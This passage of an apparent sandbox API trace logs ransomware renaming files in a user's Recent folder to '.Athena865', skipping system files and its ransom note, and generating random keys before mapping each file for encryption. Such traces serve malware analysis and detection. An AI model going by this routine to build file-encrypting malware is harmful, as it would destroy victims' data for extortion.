lpString2="4dd") returned 1 [0052.281] lstrlenW (lpString="4dl") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.281] lstrlenW (lpString="^^^") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.281] lstrlenW (lpString="abs") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.281] lstrlenW (lpString="abx") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.282] lstrlenW (lpString="accdb") returned 5 [0052.282] lstrcmpiW (lpString1="Q.lnk", lpString2="accdb") returned 1 [0052.282] lstrlenW (lpString="accdc") returned 5 [0052.282] lstrcmpiW (lpString1="Q.lnk", lpString2="accdc") returned 1 [0052.282] lstrlenW (lpString="accde") returned 5 [0052.282] lstrcmpiW (lpString1="Q.lnk", lpString2="accde") returned 1 [0052.282] lstrlenW (lpString="accdr") returned 5 [0052.282] lstrcmpiW (lpString1="Q.lnk", lpString2="accdr") returned 1 [0052.282] lstrlenW (lpString="accdt") returned 5 [0052.282] lstrcmpiW (lpString1="Q.lnk", lpString2="accdt") returned 1 [0052.282] lstrlenW (lpString="accdw") returned 5 [0052.282] lstrcmpiW (lpString1="Q.lnk", lpString2="accdw") returned 1 [0052.282] lstrlenW (lpString="accft") returned 5 [0052.282] lstrcmpiW (lpString1="Q.lnk", lpString2="accft") returned 1 [0052.282] lstrlenW (lpString="adb") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.282] lstrlenW (lpString="adb") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.282] lstrlenW (lpString="ade") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.282] lstrlenW (lpString="adf") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.282] lstrlenW (lpString="adn") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.282] lstrlenW (lpString="adp") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.282] lstrlenW (lpString="alf") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.282] lstrlenW (lpString="ask") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.282] lstrlenW (lpString="btr") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.282] lstrlenW (lpString="cat") returned 3 [0052.282] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.283] lstrlenW (lpString="cdb") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.283] lstrlenW (lpString="ckp") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.283] lstrlenW (lpString="cma") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.283] lstrlenW (lpString="cpd") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.283] lstrlenW (lpString="dacpac") returned 6 [0052.283] lstrcmpiW (lpString1="OQ.lnk", lpString2="dacpac") returned 1 [0052.283] lstrlenW (lpString="dad") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.283] lstrlenW (lpString="dadiagrams") returned 10 [0052.283] lstrcmpiW (lpString1="sbyDOQ.lnk", lpString2="dadiagrams") returned 1 [0052.283] lstrlenW (lpString="daschema") returned 8 [0052.283] lstrcmpiW (lpString1="yDOQ.lnk", lpString2="daschema") returned 1 [0052.283] lstrlenW (lpString="db-journal") returned 10 [0052.283] lstrcmpiW (lpString1="sbyDOQ.lnk", lpString2="db-journal") returned 1 [0052.283] lstrlenW (lpString="db-shm") returned 6 [0052.283] lstrcmpiW (lpString1="OQ.lnk", lpString2="db-shm") returned 1 [0052.283] lstrlenW (lpString="db-wal") returned 6 [0052.283] lstrcmpiW (lpString1="OQ.lnk", lpString2="db-wal") returned 1 [0052.283] lstrlenW (lpString="dbc") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.283] lstrlenW (lpString="dbs") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.283] lstrlenW (lpString="dbt") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.283] lstrlenW (lpString="dbv") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.283] lstrlenW (lpString="dbx") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.283] lstrlenW (lpString="dcb") returned 3 [0052.283] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.284] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\bDM-N-Hfz63KpsbyDOQ.lnk.Athena865") returned 87 [0052.284] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\bDM-N-Hfz63KpsbyDOQ.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\bdm-n-hfz63kpsbydoq.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\bDM-N-Hfz63KpsbyDOQ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\bdm-n-hfz63kpsbydoq.lnk.athena865"), dwFlags=0x1) returned 1 [0052.285] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\bDM-N-Hfz63KpsbyDOQ.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\bdm-n-hfz63kpsbydoq.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0052.285] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2714) returned 1 [0052.285] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.286] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.286] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.286] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xda0, lpName=0x0) returned 0x17c [0052.286] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xda0) returned 0x100000 [0052.286] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.287] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.287] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.288] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeeae140, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaeeae140, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaeeae140, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bwco6yVtwvrspPp.lnk", cAlternateFileName="BWCO6Y~1.LNK")) returned 1 [0052.288] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.288] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.288] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2=".") returned 1 [0052.288] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="..") returned 1 [0052.288] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="windows") returned -1 [0052.288] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="bootmgr") returned 1 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="temp") returned -1 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="pagefile.sys") returned -1 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="boot") returned 1 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="ids.txt") returned -1 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="ntuser.dat") returned -1 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="perflogs") returned -1 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2="MSBuild") returned -1 [0052.289] lstrlenW (lpString="bwco6yVtwvrspPp.lnk") returned 19 [0052.289] lstrcpyW (in: lpString1=0x241e8b4, lpString2="bwco6yVtwvrspPp.lnk" | out: lpString1="bwco6yVtwvrspPp.lnk") returned="bwco6yVtwvrspPp.lnk" [0052.289] lstrlenW (lpString="bwco6yVtwvrspPp.lnk") returned 19 [0052.289] lstrlenW (lpString="Athena865") returned 9 [0052.289] lstrcmpiW (lpString1="rspPp.lnk", lpString2="Athena865") returned 1 [0052.289] lstrlenW (lpString=".dll") returned 4 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2=".dll") returned 1 [0052.289] lstrlenW (lpString=".lnk") returned 4 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2=".lnk") returned 1 [0052.289] lstrlenW (lpString=".ini") returned 4 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2=".ini") returned 1 [0052.289] lstrlenW (lpString=".sys") returned 4 [0052.289] lstrcmpiW (lpString1="bwco6yVtwvrspPp.lnk", lpString2=".sys") returned 1 [0052.289] lstrlenW (lpString="bwco6yVtwvrspPp.lnk") returned 19 [0052.289] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\bwco6yVtwvrspPp.lnk.Athena865") returned 83 [0052.289] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\bwco6yVtwvrspPp.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\bwco6yvtwvrsppp.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\bwco6yVtwvrspPp.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\bwco6yvtwvrsppp.lnk.athena865"), dwFlags=0x1) returned 1 [0052.290] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\bwco6yVtwvrspPp.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\bwco6yvtwvrsppp.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0052.290] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2638) returned 1 [0052.291] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.291] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.291] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.292] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x17c [0052.292] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0052.292] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.292] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.292] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.294] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaee87fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xaee87fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xaee87fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cc-i8iL8NSZcth9GSj_2.lnk", cAlternateFileName="CC-I8I~1.LNK")) returned 1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2=".") returned 1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="..") returned 1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="windows") returned -1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="bootmgr") returned 1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="temp") returned -1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="pagefile.sys") returned -1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="boot") returned 1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="ids.txt") returned -1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="ntuser.dat") returned -1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="perflogs") returned -1 [0052.294] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2="MSBuild") returned -1 [0052.294] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.lnk") returned 24 [0052.295] lstrcpyW (in: lpString1=0x241e8b4, lpString2="cc-i8iL8NSZcth9GSj_2.lnk" | out: lpString1="cc-i8iL8NSZcth9GSj_2.lnk") returned="cc-i8iL8NSZcth9GSj_2.lnk" [0052.295] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.lnk") returned 24 [0052.295] lstrlenW (lpString="Athena865") returned 9 [0052.295] lstrcmpiW (lpString1="GSj_2.lnk", lpString2="Athena865") returned 1 [0052.295] lstrlenW (lpString=".dll") returned 4 [0052.295] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2=".dll") returned 1 [0052.295] lstrlenW (lpString=".lnk") returned 4 [0052.295] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2=".lnk") returned 1 [0052.295] lstrlenW (lpString=".ini") returned 4 [0052.295] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2=".ini") returned 1 [0052.295] lstrlenW (lpString=".sys") returned 4 [0052.295] lstrcmpiW (lpString1="cc-i8iL8NSZcth9GSj_2.lnk", lpString2=".sys") returned 1 [0052.295] lstrlenW (lpString="cc-i8iL8NSZcth9GSj_2.lnk") returned 24 [0052.295] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\cc-i8iL8NSZcth9GSj_2.lnk.Athena865") returned 88 [0052.295] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\cc-i8iL8NSZcth9GSj_2.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cc-i8il8nszcth9gsj_2.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\cc-i8iL8NSZcth9GSj_2.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cc-i8il8nszcth9gsj_2.lnk.athena865"), dwFlags=0x1) returned 1 [0052.296] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\cc-i8iL8NSZcth9GSj_2.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cc-i8il8nszcth9gsj_2.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0052.296] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=634) returned 1 [0052.296] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.297] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.297] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.297] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x580, lpName=0x0) returned 0x17c [0052.297] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x580) returned 0x100000 [0052.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.298] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.298] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.300] lstrcpyW (in: lpString1=0x241e8b4, lpString2="CDOyMLO_YVxau.lnk" | out: lpString1="CDOyMLO_YVxau.lnk") returned="CDOyMLO_YVxau.lnk" [0052.300] lstrlenW (lpString="CDOyMLO_YVxau.lnk") returned 17 [0052.300] lstrlenW (lpString="Athena865") returned 9 [0052.300] lstrcmpiW (lpString1="YVxau.lnk", lpString2="Athena865") returned 1 [0052.300] lstrlenW (lpString=".dll") returned 4 [0052.300] lstrcmpiW (lpString1="CDOyMLO_YVxau.lnk", lpString2=".dll") returned 1 [0052.300] lstrlenW (lpString=".lnk") returned 4 [0052.300] lstrcmpiW (lpString1="CDOyMLO_YVxau.lnk", lpString2=".lnk") returned 1 [0052.300] lstrlenW (lpString=".ini") returned 4 [0052.300] lstrcmpiW (lpString1="CDOyMLO_YVxau.lnk", lpString2=".ini") returned 1 [0052.300] lstrlenW (lpString=".sys") returned 4 [0052.300] lstrcmpiW (lpString1="CDOyMLO_YVxau.lnk", lpString2=".sys") returned 1 [0052.300] lstrlenW (lpString="CDOyMLO_YVxau.lnk") returned 17 [0052.300] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CDOyMLO_YVxau.lnk.Athena865") returned 81 [0052.300] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CDOyMLO_YVxau.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cdoymlo_yvxau.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CDOyMLO_YVxau.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cdoymlo_yvxau.lnk.athena865"), dwFlags=0x1) returned 1 [0052.301] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\CDOyMLO_YVxau.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cdoymlo_yvxau.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0052.301] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2616) returned 1 [0052.301] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.302] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.302] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.302] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x17c [0052.302] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000 [0052.302] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.303] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.303] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.304] lstrcpyW (in: lpString1=0x241e8b4, lpString2="cISp VPsmsV3c8B4EusU.lnk" | out: lpString1="cISp VPsmsV3c8B4EusU.lnk") returned="cISp VPsmsV3c8B4EusU.lnk" [0052.304] lstrlenW (lpString="cISp VPsmsV3c8B4EusU.lnk") returned 24 [0052.304] lstrlenW (lpString="Athena865") returned 9 [0052.304] lstrcmpiW (lpString1="4EusU.lnk", lpString2="Athena865") returned -1 [0052.304] lstrlenW (lpString=".dll") returned 4 [0052.305] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU.lnk", lpString2=".dll") returned 1 [0052.305] lstrlenW (lpString=".lnk") returned 4 [0052.305] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU.lnk", lpString2=".lnk") returned 1 [0052.305] lstrlenW (lpString=".ini") returned 4 [0052.305] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU.lnk", lpString2=".ini") returned 1 [0052.305] lstrlenW (lpString=".sys") returned 4 [0052.305] lstrcmpiW (lpString1="cISp VPsmsV3c8B4EusU.lnk", lpString2=".sys") returned 1 [0052.305] lstrlenW (lpString="cISp VPsmsV3c8B4EusU.lnk") returned 24 [0052.305] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\cISp VPsmsV3c8B4EusU.lnk.Athena865") returned 88 [0052.305] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\cISp VPsmsV3c8B4EusU.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cisp vpsmsv3c8b4eusu.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\cISp VPsmsV3c8B4EusU.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cisp vpsmsv3c8b4eusu.lnk.athena865"), dwFlags=0x1) returned 1 [0052.306] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\cISp VPsmsV3c8B4EusU.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cisp vpsmsv3c8b4eusu.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0052.306] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3619) returned 1 [0052.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.307] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.307] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.307] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x17c [0052.307] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000 [0052.308] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.308] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.308] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ab00 [0052.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.314] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Cj4-jBC.lnk" | out: lpString1="Cj4-jBC.lnk") returned="Cj4-jBC.lnk" [0052.314] lstrlenW (lpString="Cj4-jBC.lnk") returned 11 [0052.314] lstrlenW (lpString="Athena865") returned 9 [0052.314] lstrcmpiW (lpString1="4-jBC.lnk", lpString2="Athena865") returned -1 [0052.314] lstrlenW (lpString=".dll") returned 4 [0052.314] lstrcmpiW (lpString1="Cj4-jBC.lnk", lpString2=".dll") returned 1 [0052.314] lstrlenW (lpString=".lnk") returned 4 [0052.314] lstrcmpiW (lpString1="Cj4-jBC.lnk", lpString2=".lnk") returned 1 [0052.314] lstrlenW (lpString=".ini") returned 4 [0052.314] lstrcmpiW (lpString1="Cj4-jBC.lnk", lpString2=".ini") returned 1 [0052.314] lstrlenW (lpString=".sys") returned 4 [0052.314] lstrcmpiW (lpString1="Cj4-jBC.lnk", lpString2=".sys") returned 1 [0052.314] lstrlenW (lpString="Cj4-jBC.lnk") returned 11 [0052.314] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Cj4-jBC.lnk.Athena865") returned 75 [0052.314] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Cj4-jBC.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cj4-jbc.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Cj4-jBC.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cj4-jbc.lnk.athena865"), dwFlags=0x1) returned 1 [0052.315] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Cj4-jBC.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\cj4-jbc.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, 